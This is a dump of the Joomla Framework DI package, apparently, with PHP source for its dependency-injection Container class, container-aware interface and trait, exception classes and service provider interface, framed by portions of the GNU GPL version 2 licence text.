	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI;

use Joomla\DI\Exception\DependencyResolutionException;
use Joomla\DI\Exception\KeyNotFoundException;
use Joomla\DI\Exception\ProtectedKeyException;
use Psr\Container\ContainerInterface;

/**
 * The Container class.
 *
 * @since  1.0
 */
class Container implements ContainerInterface
{
	/**
	 * Holds the key aliases.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $aliases = array();

	/**
	 * Holds the shared instances.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $instances = array();

	/**
	 * Holds the keys, their callbacks, and whether or not
	 * the item is meant to be a shared resource.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $dataStore = array();

	/**
	 * Parent for hierarchical containers.
	 *
	 * @var    Container|ContainerInterface
	 * @since  1.0
	 */
	protected $parent;

	/**
	 * Holds the service tag mapping.
	 *
	 * @var    array
	 * @since  1.5.0
	 */
	protected $tags = array();

	/**
	 * Constructor for the DI Container
	 *
	 * @param   ContainerInterface  $parent  Parent for hierarchical
containers.
	 *
	 * @since   1.0
	 */
	public function __construct(ContainerInterface $parent = null)
	{
		$this->parent = $parent;
	}

	/**
	 * Create an alias for a given key for easy access.
	 *
	 * @param   string  $alias  The alias name
	 * @param   string  $key    The key to alias
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 */
	public function alias($alias, $key)
	{
		$this->aliases[$alias] = $key;

		return $this;
	}

	/**
	 * Search the aliases property for a matching alias key.
	 *
	 * @param   string  $key  The key to search for.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	protected function resolveAlias($key)
	{
		if (isset($this->aliases[$key]))
		{
			return $this->aliases[$key];
		}

		if ($this->parent instanceof Container)
		{
			return $this->parent->resolveAlias($key);
		}

		return $key;
	}

	/**
	 * Assign a tag to services.
	 *
	 * @param   string  $tag   The tag name
	 * @param   array   $keys  The service keys to tag
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.5.0
	 */
	public function tag($tag, array $keys)
	{
		foreach ($keys as $key)
		{
			$resolvedKey = $this->resolveAlias($key);

			if (!isset($this->tags[$tag]))
			{
				$this->tags[$tag] = array();
			}

			$this->tags[$tag][] = $resolvedKey;
		}

		// Prune duplicates
		$this->tags[$tag] = array_unique($this->tags[$tag]);

		return $this;
	}

	/**
	 * Fetch all services registered to the given tag.
	 *
	 * @param   string  $tag  The tag name
	 *
	 * @return  array  The resolved services for the given tag
	 *
	 * @since   1.5.0
	 */
	public function getTagged($tag)
	{
		$services = array();

		if (isset($this->tags[$tag]))
		{
			foreach ($this->tags[$tag] as $service)
			{
				$services[] = $this->get($service);
			}
		}

		return $services;
	}

	/**
	 * Build an object of class $key;
	 *
	 * @param   string   $key     The class name to build.
	 * @param   boolean  $shared  True to create a shared resource.
	 *
	 * @return  object|false  Instance of class specified by $key with all
dependencies injected.
	 *                        Returns an object if the class exists and false
otherwise
	 *
	 * @since   1.0
	 */
	public function buildObject($key, $shared = false)
	{
		static $buildStack = array();

		$resolvedKey = $this->resolveAlias($key);

		if (in_array($resolvedKey, $buildStack, true))
		{
			$buildStack = array();

			throw new DependencyResolutionException("Can't resolve
circular dependency");
		}

		$buildStack[] = $resolvedKey;

		if ($this->has($resolvedKey))
		{
			$resource = $this->get($resolvedKey);
			array_pop($buildStack);

			return $resource;
		}

		try
		{
			$reflection = new \ReflectionClass($resolvedKey);
		}
		catch (\ReflectionException $e)
		{
			array_pop($buildStack);

			return false;
		}

		if (!$reflection->isInstantiable())
		{
			$buildStack = array();

			throw new DependencyResolutionException("$resolvedKey can not be
instantiated.");
		}

		$constructor = $reflection->getConstructor();

		// If there are no parameters, just return a new object.
		if ($constructor === null)
		{
			$callback = function () use ($resolvedKey) {
				return new $resolvedKey;
			};
		}
		else
		{
			$newInstanceArgs = $this->getMethodArgs($constructor);

			// Create a callable for the dataStore
			$callback = function () use ($reflection, $newInstanceArgs) {
				return $reflection->newInstanceArgs($newInstanceArgs);
			};
		}

		$this->set($resolvedKey, $callback, $shared);

		$resource = $this->get($resolvedKey);
		array_pop($buildStack);

		return $resource;
	}

	/**
	 * Convenience method for building a shared object.
	 *
	 * @param   string  $key  The class name to build.
	 *
	 * @return  object|false  Instance of class specified by $key with all
dependencies injected.
	 *                        Returns an object if the class exists and false
otherwise
	 *
	 * @since   1.0
	 */
	public function buildSharedObject($key)
	{
		return $this->buildObject($key, true);
	}

	/**
	 * Create a child Container with a new property scope that
	 * that has the ability to access the parent scope when resolving.
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 */
	public function createChild()
	{
		return new static($this);
	}

	/**
	 * Extend a defined service Closure by wrapping the existing one with a
new Closure.  This
	 * works very similar to a decorator pattern.  Note that this only works
on service Closures
	 * that have been defined in the current Provider, not parent providers.
	 *
	 * @param   string    $key       The unique identifier for the Closure or
property.
	 * @param   \Closure  $callable  A Closure to wrap the original service
Closure.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  KeyNotFoundException
	 */
	public function extend($key, \Closure $callable)
	{
		$key = $this->resolveAlias($key);
		$raw = $this->getRaw($key);

		if ($raw === null)
		{
			throw new KeyNotFoundException(sprintf('The requested key %s does
not exist to extend.', $key));
		}

		$closure = function ($c) use ($callable, $raw) {
			return $callable($raw['callback']($c), $c);
		};

		$this->set($key, $closure, $raw['shared']);
	}

	/**
	 * Build an array of constructor parameters.
	 *
	 * @param   \ReflectionMethod  $method  Method for which to build the
argument array.
	 *
	 * @return  array  Array of arguments to pass to the method.
	 *
	 * @since   1.0
	 * @throws  DependencyResolutionException
	 */
	protected function getMethodArgs(\ReflectionMethod $method)
	{
		$methodArgs = array();

		foreach ($method->getParameters() as $param)
		{
			$dependency = $param->getClass();
			$dependencyVarName = $param->getName();

			// If we have a dependency, that means it has been type-hinted.
			if ($dependency !== null)
			{
				$dependencyClassName = $dependency->getName();

				// If the dependency class name is registered with this container or a
parent, use it.
				if ($this->getRaw($dependencyClassName) !== null)
				{
					$depObject = $this->get($dependencyClassName);
				}
				else
				{
					$depObject = $this->buildObject($dependencyClassName);
				}

				if ($depObject instanceof $dependencyClassName)
				{
					$methodArgs[] = $depObject;
					continue;
				}
			}

			// Finally, if there is a default parameter, use it.
			if ($param->isOptional())
			{
				$methodArgs[] = $param->getDefaultValue();
				continue;
			}

			// Couldn't resolve dependency, and no default was provided.
			throw new DependencyResolutionException(sprintf('Could not resolve
dependency: %s', $dependencyVarName));
		}

		return $methodArgs;
	}

	/**
	 * Method to set the key and callback to the dataStore array.
	 *
	 * @param   string   $key        Name of dataStore key to set.
	 * @param   mixed    $value      Callable function to run or string to
retrive when requesting the specified $key.
	 * @param   boolean  $shared     True to create and store a shared
instance.
	 * @param   boolean  $protected  True to protect this item from being
overwritten. Useful for services.
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 * @throws  ProtectedKeyException  Thrown if the provided key is already
set and is protected.
	 */
	public function set($key, $value, $shared = false, $protected = false)
	{
		if (isset($this->dataStore[$key]) &&
$this->dataStore[$key]['protected'] === true)
		{
			throw new ProtectedKeyException(sprintf("Key %s is protected and
can't be overwritten.", $key));
		}

		// If the provided $value is not a closure, make it one now for easy
resolution.
		if (!is_callable($value))
		{
			$value = function () use ($value) {
				return $value;
			};
		}

		$this->dataStore[$key] = array(
			'callback' => $value,
			'shared' => $shared,
			'protected' => $protected
		);

		return $this;
	}

	/**
	 * Convenience method for creating protected keys.
	 *
	 * @param   string   $key     Name of dataStore key to set.
	 * @param   mixed    $value   Callable function to run or string to
retrive when requesting the specified $key.
	 * @param   boolean  $shared  True to create and store a shared instance.
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 */
	public function protect($key, $value, $shared = false)
	{
		return $this->set($key, $value, $shared, true);
	}

	/**
	 * Convenience method for creating shared keys.
	 *
	 * @param   string   $key        Name of dataStore key to set.
	 * @param   mixed    $value      Callable function to run or string to
retrive when requesting the specified $key.
	 * @param   boolean  $protected  True to protect this item from being
overwritten. Useful for services.
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 */
	public function share($key, $value, $protected = false)
	{
		return $this->set($key, $value, true, $protected);
	}

	/**
	 * Method to retrieve the results of running the $callback for the
specified $key;
	 *
	 * @param   string   $key       Name of the dataStore key to get.
	 * @param   boolean  $forceNew  True to force creation and return of a new
instance.
	 *
	 * @return  mixed   Results of running the $callback for the specified
$key.
	 *
	 * @since   1.0
	 * @throws  KeyNotFoundException
	 */
	public function get($key, $forceNew = false)
	{
		$key = $this->resolveAlias($key);
		$raw = $this->getRaw($key);

		if ($raw === null)
		{
			throw new KeyNotFoundException(sprintf('Key %s has not been
registered with the container.', $key));
		}

		if ($raw['shared'])
		{
			if ($forceNew || !isset($this->instances[$key]))
			{
				$this->instances[$key] = $raw['callback']($this);
			}

			return $this->instances[$key];
		}

		return call_user_func($raw['callback'], $this);
	}

	/**
	 * Method to check if specified dataStore key exists.
	 *
	 * @param   string  $key  Name of the dataStore key to check.
	 *
	 * @return  boolean  True for success
	 *
	 * @since   1.5.0
	 */
	public function has($key)
	{
		$key = $this->resolveAlias($key);

		$exists = (bool) $this->getRaw($key);

		if ($exists === false && $this->parent instanceof
ContainerInterface)
		{
			$exists = $this->parent->has($key);
		}

		return $exists;
	}

	/**
	 * Method to check if specified dataStore key exists.
	 *
	 * @param   string  $key  Name of the dataStore key to check.
	 *
	 * @return  boolean  True for success
	 *
	 * @since   1.0
	 * @deprecated  3.0  Use ContainerInterface::has() instead
	 */
	public function exists($key)
	{
		return $this->has($key);
	}

	/**
	 * Get the raw data assigned to a key.
	 *
	 * @param   string  $key  The key for which to get the stored item.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	protected function getRaw($key)
	{
		if (isset($this->dataStore[$key]))
		{
			return $this->dataStore[$key];
		}

		$aliasKey = $this->resolveAlias($key);

		if ($aliasKey !== $key && isset($this->dataStore[$aliasKey]))
		{
			return $this->dataStore[$aliasKey];
		}

		if ($this->parent instanceof Container)
		{
			return $this->parent->getRaw($key);
		}

		if ($this->parent instanceof ContainerInterface &&
$this->parent->has($key))
		{
			$callback = $this->parent->get($key);

			if (!is_callable($callback))
			{
				$callback = function () use ($callback) {
					return $callback;
				};
			}

			return array(
				'callback'  => $callback,
				'shared'    => true,
				'protected' => true,
			);
		}

		return null;
	}

	/**
	 * Method to force the container to return a new instance
	 * of the results of the callback for requested $key.
	 *
	 * @param   string  $key  Name of the dataStore key to get.
	 *
	 * @return  mixed   Results of running the $callback for the specified
$key.
	 *
	 * @since   1.0
	 */
	public function getNewInstance($key)
	{
		return $this->get($key, true);
	}

	/**
	 * Register a service provider to the container.
	 *
	 * @param   ServiceProviderInterface  $provider  The service provider to
register.
	 *
	 * @return  Container  This object for chaining.
	 *
	 * @since   1.0
	 */
	public function registerServiceProvider(ServiceProviderInterface
$provider)
	{
		$provider->register($this);

		return $this;
	}

	/**
	 * Retrieve the keys for services assigned to this container.
	 *
	 * @return  array
	 *
	 * @since   1.5.0
	 */
	public function getKeys()
	{
		return array_unique(array_merge(array_keys($this->aliases),
array_keys($this->dataStore)));
	}
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI;

/**
 * Defines the interface for a Container Aware class.
 *
 * @since  1.0
 */
interface ContainerAwareInterface
{
	/**
	 * Get the DI container.
	 *
	 * @return  Container
	 *
	 * @since   1.0
	 * @throws  \UnexpectedValueException May be thrown if the container has
not been set.
	 * @deprecated  2.0  The getter will no longer be part of the interface.
	 */
	public function getContainer();

	/**
	 * Set the DI container.
	 *
	 * @param   Container  $container  The DI container.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function setContainer(Container $container);
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI;

/**
 * Defines the trait for a Container Aware Class.
 *
 * @since  1.2
 * @note   Traits are available in PHP 5.4+
 */
trait ContainerAwareTrait
{
	/**
	 * DI Container
	 *
	 * @var    Container
	 * @since  1.2
	 */
	private $container;

	/**
	 * Get the DI container.
	 *
	 * @return  Container
	 *
	 * @since   1.2
	 * @throws  \UnexpectedValueException May be thrown if the container has
not been set.
	 * @note    As of 2.0 this method will be protected.
	 */
	public function getContainer()
	{
		if ($this->container)
		{
			return $this->container;
		}

		throw new \UnexpectedValueException('Container not set in ' .
__CLASS__);
	}

	/**
	 * Set the DI container.
	 *
	 * @param   Container  $container  The DI container.
	 *
	 * @return  mixed  Returns itself to support chaining.
	 *
	 * @since   1.2
	 */
	public function setContainer(Container $container)
	{
		$this->container = $container;

		return $this;
	}
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI\Exception;

use Psr\Container\ContainerExceptionInterface;

/**
 * Exception class for handling errors in resolving a dependency
 *
 * @since  1.0
 */
class DependencyResolutionException extends \RuntimeException implements
ContainerExceptionInterface
{
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI\Exception;

use Psr\Container\NotFoundExceptionInterface;

/**
 * No entry was found in the container.
 *
 * @since  1.5.0
 */
class KeyNotFoundException extends \InvalidArgumentException implements
NotFoundExceptionInterface
{
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI\Exception;

use Psr\Container\ContainerExceptionInterface;

/**
 * Attempt to set the value of a protected key, which already is set
 *
 * @since  1.5.0
 */
class ProtectedKeyException extends \OutOfBoundsException implements
ContainerExceptionInterface
{
}
<?php
/**
 * Part of the Joomla Framework DI Package
 *
 * @copyright  Copyright (C) 2013 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\DI;

/**
 * Defines the interface for a Service Provider.
 *
 * @since  1.0
 */
interface ServiceProviderInterface
{
	/**
	 * Registers the service provider with a DI container.
	 *
	 * @param   Container  $container  The DI container.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function register(Container $container);
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

